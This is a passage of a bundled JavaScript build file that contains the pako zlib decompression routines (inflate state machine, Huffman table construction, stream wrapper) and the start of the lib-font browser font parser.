15838 if (have >= 6 && left >= 258) {
15839 strm.next_out = put;
15840 strm.avail_out = left;
15841 strm.next_in = next;
15842 strm.avail_in = have;
15843 state.hold = hold;
15844 state.bits = bits;
15845 inflate_fast(strm, _out);
15846 put = strm.next_out;
15847 output = strm.output;
15848 left = strm.avail_out;
15849 next = strm.next_in;
15850 input = strm.input;
15851 have = strm.avail_in;
15852 hold = state.hold;
15853 bits = state.bits;
15854 if (state.mode === TYPE) {
15855 state.back = -1;
15856 }
15857 break;
15858 }
15859 state.back = 0;
15860 for (; ; ) {
15861 here = state.lencode[hold & (1 << state.lenbits) - 1];
15862 here_bits = here >>> 24;
15863 here_op = here >>> 16 & 255;
15864 here_val = here & 65535;
15865 if (here_bits <= bits) {
15866 break;
15867 }
15868 if (have === 0) {
15869 break inf_leave;
15870 }
15871 have--;
15872 hold += input[next++] << bits;
15873 bits += 8;
15874 }
15875 if (here_op && (here_op & 240) === 0) {
15876 last_bits = here_bits;
15877 last_op = here_op;
15878 last_val = here_val;
15879 for (; ; ) {
15880 here = state.lencode[last_val + ((hold & (1 << last_bits + last_op) - 1) >> last_bits)];
15881 here_bits = here >>> 24;
15882 here_op = here >>> 16 & 255;
15883 here_val = here & 65535;
15884 if (last_bits + here_bits <= bits) {
15885 break;
15886 }
15887 if (have === 0) {
15888 break inf_leave;
15889 }
15890 have--;
15891 hold += input[next++] << bits;
15892 bits += 8;
15893 }
15894 hold >>>= last_bits;
15895 bits -= last_bits;
15896 state.back += last_bits;
15897 }
15898 hold >>>= here_bits;
15899 bits -= here_bits;
15900 state.back += here_bits;
15901 state.length = here_val;
15902 if (here_op === 0) {
15903 state.mode = LIT;
15904 break;
15905 }
15906 if (here_op & 32) {
15907 state.back = -1;
15908 state.mode = TYPE;
15909 break;
15910 }
15911 if (here_op & 64) {
15912 strm.msg = "invalid literal/length code";
15913 state.mode = BAD;
15914 break;
15915 }
15916 state.extra = here_op & 15;
15917 state.mode = LENEXT;
15918 /* falls through */
15919 case LENEXT:
15920 if (state.extra) {
15921 n2 = state.extra;
15922 while (bits < n2) {
15923 if (have === 0) {
15924 break inf_leave;
15925 }
15926 have--;
15927 hold += input[next++] << bits;
15928 bits += 8;
15929 }
15930 state.length += hold & (1 << state.extra) - 1;
15931 hold >>>= state.extra;
15932 bits -= state.extra;
15933 state.back += state.extra;
15934 }
15935 state.was = state.length;
15936 state.mode = DIST;
15937 /* falls through */
15938 case DIST:
15939 for (; ; ) {
15940 here = state.distcode[hold & (1 << state.distbits) - 1];
15941 here_bits = here >>> 24;
15942 here_op = here >>> 16 & 255;
15943 here_val = here & 65535;
15944 if (here_bits <= bits) {
15945 break;
15946 }
15947 if (have === 0) {
15948 break inf_leave;
15949 }
15950 have--;
15951 hold += input[next++] << bits;
15952 bits += 8;
15953 }
15954 if ((here_op & 240) === 0) {
15955 last_bits = here_bits;
15956 last_op = here_op;
15957 last_val = here_val;
15958 for (; ; ) {
15959 here = state.distcode[last_val + ((hold & (1 << last_bits + last_op) - 1) >> last_bits)];
15960 here_bits = here >>> 24;
15961 here_op = here >>> 16 & 255;
15962 here_val = here & 65535;
15963 if (last_bits + here_bits <= bits) {
15964 break;
15965 }
15966 if (have === 0) {
15967 break inf_leave;
15968 }
15969 have--;
15970 hold += input[next++] << bits;
15971 bits += 8;
15972 }
15973 hold >>>= last_bits;
15974 bits -= last_bits;
15975 state.back += last_bits;
15976 }
15977 hold >>>= here_bits;
15978 bits -= here_bits;
15979 state.back += here_bits;
15980 if (here_op & 64) {
15981 strm.msg = "invalid distance code";
15982 state.mode = BAD;
15983 break;
15984 }
15985 state.offset = here_val;
15986 state.extra = here_op & 15;
15987 state.mode = DISTEXT;
15988 /* falls through */
15989 case DISTEXT:
15990 if (state.extra) {
15991 n2 = state.extra;
15992 while (bits < n2) {
15993 if (have === 0) {
15994 break inf_leave;
15995 }
15996 have--;
15997 hold += input[next++] << bits;
15998 bits += 8;
15999 }
16000 state.offset += hold & (1 << state.extra) - 1;
16001 hold >>>= state.extra;
16002 bits -= state.extra;
16003 state.back += state.extra;
16004 }
16005 if (state.offset > state.dmax) {
16006 strm.msg = "invalid distance too far back";
16007 state.mode = BAD;
16008 break;
16009 }
16010 state.mode = MATCH;
16011 /* falls through */
16012 case MATCH:
16013 if (left === 0) {
16014 break inf_leave;
16015 }
16016 copy = _out - left;
16017 if (state.offset > copy) {
16018 copy = state.offset - copy;
16019 if (copy > state.whave) {
16020 if (state.sane) {
16021 strm.msg = "invalid distance too far back";
16022 state.mode = BAD;
16023 break;
16024 }
16025 }
16026 if (copy > state.wnext) {
16027 copy -= state.wnext;
16028 from = state.wsize - copy;
16029 } else {
16030 from = state.wnext - copy;
16031 }
16032 if (copy > state.length) {
16033 copy = state.length;
16034 }
16035 from_source = state.window;
16036 } else {
16037 from_source = output;
16038 from = put - state.offset;
16039 copy = state.length;
16040 }
16041 if (copy > left) {
16042 copy = left;
16043 }
16044 left -= copy;
16045 state.length -= copy;
16046 do {
16047 output[put++] = from_source[from++];
16048 } while (--copy);
16049 if (state.length === 0) {
16050 state.mode = LEN;
16051 }
16052 break;
16053 case LIT:
16054 if (left === 0) {
16055 break inf_leave;
16056 }
16057 output[put++] = state.length;
16058 left--;
16059 state.mode = LEN;
16060 break;
16061 case CHECK:
16062 if (state.wrap) {
16063 while (bits < 32) {
16064 if (have === 0) {
16065 break inf_leave;
16066 }
16067 have--;
16068 hold |= input[next++] << bits;
16069 bits += 8;
16070 }
16071 _out -= left;
16072 strm.total_out += _out;
16073 state.total += _out;
16074 if (_out) {
16075 strm.adler = state.check = /*UPDATE(state.check, put - _out, _out);*/
16076 state.flags ? crc32(
16077 state.check,
16078 output,
16079 _out,
16080 put - _out
16081 ) : adler32(
16082 state.check,
16083 output,
16084 _out,
16085 put - _out
16086 );
16087 }
16088 _out = left;
16089 if ((state.flags ? hold : zswap32(hold)) !== state.check) {
16090 strm.msg = "incorrect data check";
16091 state.mode = BAD;
16092 break;
16093 }
16094 hold = 0;
16095 bits = 0;
16096 }
16097 state.mode = LENGTH;
16098 /* falls through */
16099 case LENGTH:
16100 if (state.wrap && state.flags) {
16101 while (bits < 32) {
16102 if (have === 0) {
16103 break inf_leave;
16104 }
16105 have--;
16106 hold += input[next++] << bits;
16107 bits += 8;
16108 }
16109 if (hold !== (state.total & 4294967295)) {
16110 strm.msg = "incorrect length check";
16111 state.mode = BAD;
16112 break;
16113 }
16114 hold = 0;
16115 bits = 0;
16116 }
16117 state.mode = DONE;
16118 /* falls through */
16119 case DONE:
16120 ret = Z_STREAM_END;
16121 break inf_leave;
16122 case BAD:
16123 ret = Z_DATA_ERROR;
16124 break inf_leave;
16125 case MEM:
16126 return Z_MEM_ERROR;
16127 case SYNC:
16128 /* falls through */
16129 default:
16130 return Z_STREAM_ERROR;
16131 }
16132 }
16133 strm.next_out = put;
16134 strm.avail_out = left;
16135 strm.next_in = next;
16136 strm.avail_in = have;
16137 state.hold = hold;
16138 state.bits = bits;
16139 if (state.wsize || _out !== strm.avail_out && state.mode < BAD && (state.mode < CHECK || flush2 !== Z_FINISH)) {
16140 if (updatewindow(
16141 strm,
16142 strm.output,
16143 strm.next_out,
16144 _out - strm.avail_out
16145 )) {
16146 state.mode = MEM;
16147 return Z_MEM_ERROR;
16148 }
16149 }
16150 _in -= strm.avail_in;
16151 _out -= strm.avail_out;
16152 strm.total_in += _in;
16153 strm.total_out += _out;
16154 state.total += _out;
16155 if (state.wrap && _out) {
16156 strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/
16157 state.flags ? crc32(
16158 state.check,
16159 output,
16160 _out,
16161 strm.next_out - _out
16162 ) : adler32(
16163 state.check,
16164 output,
16165 _out,
16166 strm.next_out - _out
16167 );
16168 }
16169 strm.data_type = state.bits + (state.last ? 64 : 0) + (state.mode === TYPE ? 128 : 0) + (state.mode === LEN_ || state.mode === COPY_ ? 256 : 0);
16170 if ((_in === 0 && _out === 0 || flush2 === Z_FINISH) && ret === Z_OK) {
16171 ret = Z_BUF_ERROR;
16172 }
16173 return ret;
16174 }
16175 function inflateEnd(strm) {
16176 if (!strm || !strm.state) {
16177 return Z_STREAM_ERROR;
16178 }
16179 var state = strm.state;
16180 if (state.window) {
16181 state.window = null;
16182 }
16183 strm.state = null;
16184 return Z_OK;
16185 }
16186 function inflateGetHeader(strm, head2) {
16187 var state;
16188 if (!strm || !strm.state) {
16189 return Z_STREAM_ERROR;
16190 }
16191 state = strm.state;
16192 if ((state.wrap & 2) === 0) {
16193 return Z_STREAM_ERROR;
16194 }
16195 state.head = head2;
16196 head2.done = false;
16197 return Z_OK;
16198 }
16199 function inflateSetDictionary(strm, dictionary) {
16200 var dictLength = dictionary.length;
16201 var state;
16202 var dictid;
16203 var ret;
16204 if (!strm || !strm.state) {
16205 return Z_STREAM_ERROR;
16206 }
16207 state = strm.state;
16208 if (state.wrap !== 0 && state.mode !== DICT) {
16209 return Z_STREAM_ERROR;
16210 }
16211 if (state.mode === DICT) {
16212 dictid = 1;
16213 dictid = adler32(
16214 dictid,
16215 dictionary,
16216 dictLength,
16217 0
16218 );
16219 if (dictid !== state.check) {
16220 return Z_DATA_ERROR;
16221 }
16222 }
16223 ret = updatewindow(
16224 strm,
16225 dictionary,
16226 dictLength,
16227 dictLength
16228 );
16229 if (ret) {
16230 state.mode = MEM;
16231 return Z_MEM_ERROR;
16232 }
16233 state.havedict = 1;
16234 return Z_OK;
16235 }
16236 exports2.inflateReset = inflateReset;
16237 exports2.inflateReset2 = inflateReset2;
16238 exports2.inflateResetKeep = inflateResetKeep;
16239 exports2.inflateInit = inflateInit;
16240 exports2.inflateInit2 = inflateInit2;
16241 exports2.inflate = inflate;
16242 exports2.inflateEnd = inflateEnd;
16243 exports2.inflateGetHeader = inflateGetHeader;
16244 exports2.inflateSetDictionary = inflateSetDictionary;
16245 exports2.inflateInfo = "pako inflate (from Nodeca project)";
16246 },
16247 {
16248 "../utils/common": 1,
16249 "./adler32": 3,
16250 "./crc32": 5,
16251 "./inffast": 7,
16252 "./inftrees": 9
16253 }
16254 ],
16255 9: [
16256 function(require2, module2, exports2) {
16257 "use strict";
16258 var utils = require2("../utils/common");
16259 var MAXBITS = 15;
16260 var ENOUGH_LENS = 852;
16261 var ENOUGH_DISTS = 592;
16262 var CODES = 0;
16263 var LENS = 1;
16264 var DISTS = 2;
16265 var lbase = [
16266 /* Length codes 257..285 base */
16267 3,
16268 4,
16269 5,
16270 6,
16271 7,
16272 8,
16273 9,
16274 10,
16275 11,
16276 13,
16277 15,
16278 17,
16279 19,
16280 23,
16281 27,
16282 31,
16283 35,
16284 43,
16285 51,
16286 59,
16287 67,
16288 83,
16289 99,
16290 115,
16291 131,
16292 163,
16293 195,
16294 227,
16295 258,
16296 0,
16297 0
16298 ];
16299 var lext = [
16300 /* Length codes 257..285 extra */
16301 16,
16302 16,
16303 16,
16304 16,
16305 16,
16306 16,
16307 16,
16308 16,
16309 17,
16310 17,
16311 17,
16312 17,
16313 18,
16314 18,
16315 18,
16316 18,
16317 19,
16318 19,
16319 19,
16320 19,
16321 20,
16322 20,
16323 20,
16324 20,
16325 21,
16326 21,
16327 21,
16328 21,
16329 16,
16330 72,
16331 78
16332 ];
16333 var dbase = [
16334 /* Distance codes 0..29 base */
16335 1,
16336 2,
16337 3,
16338 4,
16339 5,
16340 7,
16341 9,
16342 13,
16343 17,
16344 25,
16345 33,
16346 49,
16347 65,
16348 97,
16349 129,
16350 193,
16351 257,
16352 385,
16353 513,
16354 769,
16355 1025,
16356 1537,
16357 2049,
16358 3073,
16359 4097,
16360 6145,
16361 8193,
16362 12289,
16363 16385,
16364 24577,
16365 0,
16366 0
16367 ];
16368 var dext = [
16369 /* Distance codes 0..29 extra */
16370 16,
16371 16,
16372 16,
16373 16,
16374 17,
16375 17,
16376 18,
16377 18,
16378 19,
16379 19,
16380 20,
16381 20,
16382 21,
16383 21,
16384 22,
16385 22,
16386 23,
16387 23,
16388 24,
16389 24,
16390 25,
16391 25,
16392 26,
16393 26,
16394 27,
16395 27,
16396 28,
16397 28,
16398 29,
16399 29,
16400 64,
16401 64
16402 ];
16403 module2.exports = function inflate_table(type, lens, lens_index, codes, table, table_index, work, opts) {
16404 var bits = opts.bits;
16405 var len = 0;
16406 var sym = 0;
16407 var min = 0, max = 0;
16408 var root = 0;
16409 var curr = 0;
16410 var drop = 0;
16411 var left = 0;
16412 var used = 0;
16413 var huff = 0;
16414 var incr;
16415 var fill;
16416 var low;
16417 var mask;
16418 var next;
16419 var base = null;
16420 var base_index = 0;
16421 var end;
16422 var count = new utils.Buf16(MAXBITS + 1);
16423 var offs = new utils.Buf16(MAXBITS + 1);
16424 var extra = null;
16425 var extra_index = 0;
16426 var here_bits, here_op, here_val;
16427 for (len = 0; len <= MAXBITS; len++) {
16428 count[len] = 0;
16429 }
16430 for (sym = 0; sym < codes; sym++) {
16431 count[lens[lens_index + sym]]++;
16432 }
16433 root = bits;
16434 for (max = MAXBITS; max >= 1; max--) {
16435 if (count[max] !== 0) {
16436 break;
16437 }
16438 }
16439 if (root > max) {
16440 root = max;
16441 }
16442 if (max === 0) {
16443 table[table_index++] = 1 << 24 | 64 << 16 | 0;
16444 table[table_index++] = 1 << 24 | 64 << 16 | 0;
16445 opts.bits = 1;
16446 return 0;
16447 }
16448 for (min = 1; min < max; min++) {
16449 if (count[min] !== 0) {
16450 break;
16451 }
16452 }
16453 if (root < min) {
16454 root = min;
16455 }
16456 left = 1;
16457 for (len = 1; len <= MAXBITS; len++) {
16458 left <<= 1;
16459 left -= count[len];
16460 if (left < 0) {
16461 return -1;
16462 }
16463 }
16464 if (left > 0 && (type === CODES || max !== 1)) {
16465 return -1;
16466 }
16467 offs[1] = 0;
16468 for (len = 1; len < MAXBITS; len++) {
16469 offs[len + 1] = offs[len] + count[len];
16470 }
16471 for (sym = 0; sym < codes; sym++) {
16472 if (lens[lens_index + sym] !== 0) {
16473 work[offs[lens[lens_index + sym]]++] = sym;
16474 }
16475 }
16476 if (type === CODES) {
16477 base = extra = work;
16478 end = 19;
16479 } else if (type === LENS) {
16480 base = lbase;
16481 base_index -= 257;
16482 extra = lext;
16483 extra_index -= 257;
16484 end = 256;
16485 } else {
16486 base = dbase;
16487 extra = dext;
16488 end = -1;
16489 }
16490 huff = 0;
16491 sym = 0;
16492 len = min;
16493 next = table_index;
16494 curr = root;
16495 drop = 0;
16496 low = -1;
16497 used = 1 << root;
16498 mask = used - 1;
16499 if (type === LENS && used > ENOUGH_LENS || type === DISTS && used > ENOUGH_DISTS) {
16500 return 1;
16501 }
16502 for (; ; ) {
16503 here_bits = len - drop;
16504 if (work[sym] < end) {
16505 here_op = 0;
16506 here_val = work[sym];
16507 } else if (work[sym] > end) {
16508 here_op = extra[extra_index + work[sym]];
16509 here_val = base[base_index + work[sym]];
16510 } else {
16511 here_op = 32 + 64;
16512 here_val = 0;
16513 }
16514 incr = 1 << len - drop;
16515 fill = 1 << curr;
16516 min = fill;
16517 do {
16518 fill -= incr;
16519 table[next + (huff >> drop) + fill] = here_bits << 24 | here_op << 16 | here_val | 0;
16520 } while (fill !== 0);
16521 incr = 1 << len - 1;
16522 while (huff & incr) {
16523 incr >>= 1;
16524 }
16525 if (incr !== 0) {
16526 huff &= incr - 1;
16527 huff += incr;
16528 } else {
16529 huff = 0;
16530 }
16531 sym++;
16532 if (--count[len] === 0) {
16533 if (len === max) {
16534 break;
16535 }
16536 len = lens[lens_index + work[sym]];
16537 }
16538 if (len > root && (huff & mask) !== low) {
16539 if (drop === 0) {
16540 drop = root;
16541 }
16542 next += min;
16543 curr = len - drop;
16544 left = 1 << curr;
16545 while (curr + drop < max) {
16546 left -= count[curr + drop];
16547 if (left <= 0) {
16548 break;
16549 }
16550 curr++;
16551 left <<= 1;
16552 }
16553 used += 1 << curr;
16554 if (type === LENS && used > ENOUGH_LENS || type === DISTS && used > ENOUGH_DISTS) {
16555 return 1;
16556 }
16557 low = huff & mask;
16558 table[low] = root << 24 | curr << 16 | next - table_index | 0;
16559 }
16560 }
16561 if (huff !== 0) {
16562 table[next + huff] = len - drop << 24 | 64 << 16 | 0;
16563 }
16564 opts.bits = root;
16565 return 0;
16566 };
16567 },
16568 { "../utils/common": 1 }
16569 ],
16570 10: [
16571 function(require2, module2, exports2) {
16572 "use strict";
16573 module2.exports = {
16574 2: "need dictionary",
16575 1: "stream end",
16576 0: "",
16577 "-1": "file error",
16578 "-2": "stream error",
16579 "-3": "data error",
16580 "-4": "insufficient memory",
16581 "-5": "buffer error",
16582 "-6": "incompatible version"
16583 };
16584 },
16585 {}
16586 ],
16587 11: [
16588 function(require2, module2, exports2) {
16589 "use strict";
16590 function ZStream() {
16591 this.input = null;
16592 this.next_in = 0;
16593 this.avail_in = 0;
16594 this.total_in = 0;
16595 this.output = null;
16596 this.next_out = 0;
16597 this.avail_out = 0;
16598 this.total_out = 0;
16599 this.msg = "";
16600 this.state = null;
16601 this.data_type = 2;
16602 this.adler = 0;
16603 }
16604 module2.exports = ZStream;
16605 },
16606 {}
16607 ],
16608 "/lib/inflate.js": [
16609 function(require2, module2, exports2) {
16610 "use strict";
16611 var zlib_inflate = require2("./zlib/inflate");
16612 var utils = require2("./utils/common");
16613 var strings = require2("./utils/strings");
16614 var c6 = require2("./zlib/constants");
16615 var msg = require2("./zlib/messages");
16616 var ZStream = require2("./zlib/zstream");
16617 var GZheader = require2("./zlib/gzheader");
16618 var toString = Object.prototype.toString;
16619 function Inflate(options) {
16620 if (!(this instanceof Inflate))
16621 return new Inflate(options);
16622 this.options = utils.assign(
16623 {
16624 chunkSize: 16384,
16625 windowBits: 0,
16626 to: ""
16627 },
16628 options || {}
16629 );
16630 var opt = this.options;
16631 if (opt.raw && opt.windowBits >= 0 && opt.windowBits < 16) {
16632 opt.windowBits = -opt.windowBits;
16633 if (opt.windowBits === 0) {
16634 opt.windowBits = -15;
16635 }
16636 }
16637 if (opt.windowBits >= 0 && opt.windowBits < 16 && !(options && options.windowBits)) {
16638 opt.windowBits += 32;
16639 }
16640 if (opt.windowBits > 15 && opt.windowBits < 48) {
16641 if ((opt.windowBits & 15) === 0) {
16642 opt.windowBits |= 15;
16643 }
16644 }
16645 this.err = 0;
16646 this.msg = "";
16647 this.ended = false;
16648 this.chunks = [];
16649 this.strm = new ZStream();
16650 this.strm.avail_out = 0;
16651 var status = zlib_inflate.inflateInit2(
16652 this.strm,
16653 opt.windowBits
16654 );
16655 if (status !== c6.Z_OK) {
16656 throw new Error(msg[status]);
16657 }
16658 this.header = new GZheader();
16659 zlib_inflate.inflateGetHeader(this.strm, this.header);
16660 if (opt.dictionary) {
16661 if (typeof opt.dictionary === "string") {
16662 opt.dictionary = strings.string2buf(
16663 opt.dictionary
16664 );
16665 } else if (toString.call(opt.dictionary) === "[object ArrayBuffer]") {
16666 opt.dictionary = new Uint8Array(
16667 opt.dictionary
16668 );
16669 }
16670 if (opt.raw) {
16671 status = zlib_inflate.inflateSetDictionary(
16672 this.strm,
16673 opt.dictionary
16674 );
16675 if (status !== c6.Z_OK) {
16676 throw new Error(msg[status]);
16677 }
16678 }
16679 }
16680 }
16681 Inflate.prototype.push = function(data, mode) {
16682 var strm = this.strm;
16683 var chunkSize = this.options.chunkSize;
16684 var dictionary = this.options.dictionary;
16685 var status, _mode;
16686 var next_out_utf8, tail, utf8str;
16687 var allowBufError = false;
16688 if (this.ended) {
16689 return false;
16690 }
16691 _mode = mode === ~~mode ? mode : mode === true ? c6.Z_FINISH : c6.Z_NO_FLUSH;
16692 if (typeof data === "string") {
16693 strm.input = strings.binstring2buf(data);
16694 } else if (toString.call(data) === "[object ArrayBuffer]") {
16695 strm.input = new Uint8Array(data);
16696 } else {
16697 strm.input = data;
16698 }
16699 strm.next_in = 0;
16700 strm.avail_in = strm.input.length;
16701 do {
16702 if (strm.avail_out === 0) {
16703 strm.output = new utils.Buf8(chunkSize);
16704 strm.next_out = 0;
16705 strm.avail_out = chunkSize;
16706 }
16707 status = zlib_inflate.inflate(
16708 strm,
16709 c6.Z_NO_FLUSH
16710 );
16711 if (status === c6.Z_NEED_DICT && dictionary) {
16712 status = zlib_inflate.inflateSetDictionary(
16713 this.strm,
16714 dictionary
16715 );
16716 }
16717 if (status === c6.Z_BUF_ERROR && allowBufError === true) {
16718 status = c6.Z_OK;
16719 allowBufError = false;
16720 }
16721 if (status !== c6.Z_STREAM_END && status !== c6.Z_OK) {
16722 this.onEnd(status);
16723 this.ended = true;
16724 return false;
16725 }
16726 if (strm.next_out) {
16727 if (strm.avail_out === 0 || status === c6.Z_STREAM_END || strm.avail_in === 0 && (_mode === c6.Z_FINISH || _mode === c6.Z_SYNC_FLUSH)) {
16728 if (this.options.to === "string") {
16729 next_out_utf8 = strings.utf8border(
16730 strm.output,
16731 strm.next_out
16732 );
16733 tail = strm.next_out - next_out_utf8;
16734 utf8str = strings.buf2string(
16735 strm.output,
16736 next_out_utf8
16737 );
16738 strm.next_out = tail;
16739 strm.avail_out = chunkSize - tail;
16740 if (tail) {
16741 utils.arraySet(
16742 strm.output,
16743 strm.output,
16744 next_out_utf8,
16745 tail,
16746 0
16747 );
16748 }
16749 this.onData(utf8str);
16750 } else {
16751 this.onData(
16752 utils.shrinkBuf(
16753 strm.output,
16754 strm.next_out
16755 )
16756 );
16757 }
16758 }
16759 }
16760 if (strm.avail_in === 0 && strm.avail_out === 0) {
16761 allowBufError = true;
16762 }
16763 } while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== c6.Z_STREAM_END);
16764 if (status === c6.Z_STREAM_END) {
16765 _mode = c6.Z_FINISH;
16766 }
16767 if (_mode === c6.Z_FINISH) {
16768 status = zlib_inflate.inflateEnd(this.strm);
16769 this.onEnd(status);
16770 this.ended = true;
16771 return status === c6.Z_OK;
16772 }
16773 if (_mode === c6.Z_SYNC_FLUSH) {
16774 this.onEnd(c6.Z_OK);
16775 strm.avail_out = 0;
16776 return true;
16777 }
16778 return true;
16779 };
16780 Inflate.prototype.onData = function(chunk2) {
16781 this.chunks.push(chunk2);
16782 };
16783 Inflate.prototype.onEnd = function(status) {
16784 if (status === c6.Z_OK) {
16785 if (this.options.to === "string") {
16786 this.result = this.chunks.join("");
16787 } else {
16788 this.result = utils.flattenChunks(
16789 this.chunks
16790 );
16791 }
16792 }
16793 this.chunks = [];
16794 this.err = status;
16795 this.msg = this.strm.msg;
16796 };
16797 function inflate(input, options) {
16798 var inflator = new Inflate(options);
16799 inflator.push(input, true);
16800 if (inflator.err) {
16801 throw inflator.msg || msg[inflator.err];
16802 }
16803 return inflator.result;
16804 }
16805 function inflateRaw(input, options) {
16806 options = options || {};
16807 options.raw = true;
16808 return inflate(input, options);
16809 }
16810 exports2.Inflate = Inflate;
16811 exports2.inflate = inflate;
16812 exports2.inflateRaw = inflateRaw;
16813 exports2.ungzip = inflate;
16814 },
16815 {
16816 "./utils/common": 1,
16817 "./utils/strings": 2,
16818 "./zlib/constants": 4,
16819 "./zlib/gzheader": 6,
16820 "./zlib/inflate": 8,
16821 "./zlib/messages": 10,
16822 "./zlib/zstream": 11
16823 }
16824 ]
16825 },
16826 {},
16827 []
16828 )("/lib/inflate.js");
16829 })();
16830
16831 // packages/global-styles-ui/build-module/font-library/lib/lib-font.browser.mjs
16832 var fetchFunction = globalThis.fetch;
16833 var Event2 = class {
16834 constructor(type, detail = {}, msg) {
16835 this.type = type;
16836 this.detail = detail;
16837 this.msg = msg;
16838 Object.defineProperty(this, `__mayPropagate`, {
16839 enumerable: false,
16840 writable: true
16841 });
16842 this.__mayPropagate = true;
16843 }
16844 preventDefault() {
16845 }
16846 stopPropagation() {
16847 this.__mayPropagate = false;
16848 }
16849 valueOf() {
16850 return this;
16851 }
16852 toString() {
16853 return this.msg ? `[${this.type} event]: ${this.msg}` : `[${this.type} event]`;
16854 }
16855 };
16856 var EventManager = class {
16857 constructor() {
16858 this.listeners = {};
16859 }
16860 addEventListener(type, listener, useCapture) {
16861 let bin = this.listeners[type] || [];
16862 if (useCapture) bin.unshift(listener);
16863 else bin.push(listener);
16864 this.listeners[type] = bin;
16865 }
16866 removeEventListener(type, listener) {
16867 let bin = this.listeners[type] || [];
16868 let pos = bin.findIndex((e2) => e2 === listener);
16869 if (pos > -1) {
16870 bin.splice(pos, 1);
16871 this.listeners[type] = bin;
16872 }
16873 }
16874 dispatch(event) {
16875 let bin = this.listeners[event.type];
16876 if (bin) {
16877 for (let l2 = 0, e2 = bin.length; l2 < e2; l2++) {
16878 if (!event.__mayPropagate) break;
16879 bin[l2](event);
16880 }
16881 }
16882 }
16883 };
16884 var startDate = (/* @__PURE__ */ new Date(`1904-01-01T00:00:00+0000`)).getTime();
16885 function asText(data) {
16886 return Array.from(data).map((v2) => String.fromCharCode(v2)).join(``);
16887 }
16888 var Parser = class {
16889 constructor(dict, dataview, name2) {
16890 this.name = (name2 || dict.tag || ``).trim();
16891 this.length = dict.length;
16892 this.start = dict.offset;
16893 this.offset = 0;
16894 this.data = dataview;
16895 [
16896 `getInt8`,
16897 `getUint8`,
16898 `getInt16`,
16899 `getUint16`,
16900 `getInt32`,
16901 `getUint32`,
16902 `getBigInt64`,
16903 `getBigUint64`
16904 ].forEach((name3) => {
16905 let fn = name3.replace(/get(Big)?/, "").toLowerCase();
16906 let increment = parseInt(name3.replace(/[^\d]/g, "")) / 8;
16907 Object.defineProperty(this, fn, {
16908 get: () => this.getValue(name3, increment)
16909 });
16910 });
16911 }
16912 get currentPosition() {
16913 return this.start + this.offset;
16914 }
16915 set currentPosition(position) {
16916 this.start = position;
16917 this.offset = 0;
16918 }
16919 skip(n2 = 0, bits = 8) {
16920 this.offset += n2 * bits / 8;
16921 }
16922 getValue(type, increment) {
16923 let pos = this.start + this.offset;
16924 this.offset += increment;
16925 try {
16926 return this.data[type](pos);
16927 } catch (e2) {
16928 console.error(`parser`, type, increment, this);
16929 console.error(`parser`, this.start, this.offset);
16930 throw e2;
16931 }
16932 }
16933 flags(n2) {
16934 if (n2 === 8 || n2 === 16 || n2 === 32 || n2 === 64) {
16935 return this[`uint${n2}`].toString(2).padStart(n2, 0).split(``).map((v2) => v2 === "1");
16936 }
16937 console.error(
16938 `Error parsing flags: flag types can only be 1, 2, 4, or 8 bytes long`
16939 );
16940 console.trace();
16941 }
16942 get tag() {
16943 const t3 = this.uint32;
16944 return asText([
16945 t3 >> 24 & 255,
16946 t3 >> 16 & 255,
16947 t3 >> 8 & 255,
16948 t3 & 255
16949 ]);
16950 }
16951 get fixed() {
16952 let major = this.int16;
16953 let minor = Math.round(1e3 * this.uint16 / 65356);
16954 return major + minor / 1e3;
16955 }
16956 get legacyFixed() {
16957 let major = this.uint16;
16958 let minor = this.uint16.toString(16).padStart(4, 0);
16959 return parseFloat(`${major}.${minor}`);
16960 }
16961 get uint24() {
16962 return (this.uint8 << 16) + (this.uint8 << 8) + this.uint8;
16963 }
16964 get uint128() {
16965 let value = 0;
16966 for (let i2 = 0; i2 < 5; i2++) {
16967 let byte = this.uint8;
16968 value = value * 128 + (byte & 127);
16969 if (byte < 128) break;
16970 }
16971 return value;
16972 }
16973 get longdatetime() {
16974 return new Date(startDate + 1e3 * parseInt(this.int64.toString()));
16975 }
16976 get fword() {
16977 return this.int16;
16978 }
16979 get ufword() {
16980 return this.uint16;
16981 }
16982 get Offset16() {
16983 return this.uint16;
16984 }
16985 get Offset32() {
16986 return this.uint32;
16987 }
16988 get F2DOT14() {
16989 const bits = p.uint16;
16990 const integer = [0, 1, -2, -1][bits >> 14];
16991 const fraction = bits & 16383;
16992 return integer + fraction / 16384;
16993 }
16994 verifyLength() {
16995 if (this.offset != this.length) {
16996 console.error(
16997 `unexpected parsed table size (${this.offset}) for "${this.name}" (expected ${this.length})`
16998 );
16999 }
17000 }
17001 readBytes(n2 = 0, position = 0, bits = 8, signed = false) {
17002 n2 = n2 || this.length;
17003 if (n2 === 0) return [];
17004 if (position) this.currentPosition = position;
17005 const fn = `${signed ? `` : `u`}int${bits}`, slice = [];
17006 while (n2--) slice.push(this[fn]);
17007 return slice;
17008 }
17009 };
17010 var ParsedData = class {
17011 constructor(parser) {
17012 const pGetter = { enumerable: false, get: () => parser };
17013 Object.defineProperty(this, `parser`, pGetter);
17014 const start2 = parser.currentPosition;
17015 const startGetter = { enumerable: false, get: () => start2 };
17016 Object.defineProperty(this, `start`, startGetter);
17017 }
17018 load(struct) {
17019 Object.keys(struct).forEach((p22) => {
17020 let props = Object.getOwnPropertyDescriptor(struct, p22);
17021 if (props.get) {
17022 this[p22] = props.get.bind(this);
17023 } else if (props.value !== void 0) {
17024 this[p22] = props.value;
17025 }
17026 });
17027 if (this.parser.length) {
17028 this.parser.verifyLength();
17029 }
17030 }
17031 };
17032 var SimpleTable = class extends ParsedData {
17033 constructor(dict, dataview, name2) {
17034 const { parser, start: start2 } = super(
17035 new Parser(dict, dataview, name2)
17036 );
17037 const pGetter = { enumerable: false, get: () => parser };
17038 Object.defineProperty(this, `p`, pGetter);
17039 const startGetter = { enumerable: false, get: () => start2 };
17040 Object.defineProperty(this, `tableStart`, startGetter);
17041 }
17042 };
17043 function lazy$1(object, property, getter) {
17044 let val;
17045 Object.defineProperty(object, property, {
17046 get: () => {
17047 if (val) return val;
17048 val = getter();
17049 return val;
17050 },
17051 enumerable: true
17052 });
17053 }
17054 var SFNT = class extends SimpleTable {
17055 constructor(font2, dataview, createTable2) {
17056 const { p: p22 } = super({ offset: 0, length: 12 }, dataview, `sfnt`);
17057 this.version = p22.uint32;
17058 this.numTables = p22.uint16;
17059 this.searchRange = p22.uint16;
17060 this.entrySelector = p22.uint16;
17061 this.rangeShift = p22.uint16;
17062 p22.verifyLength();
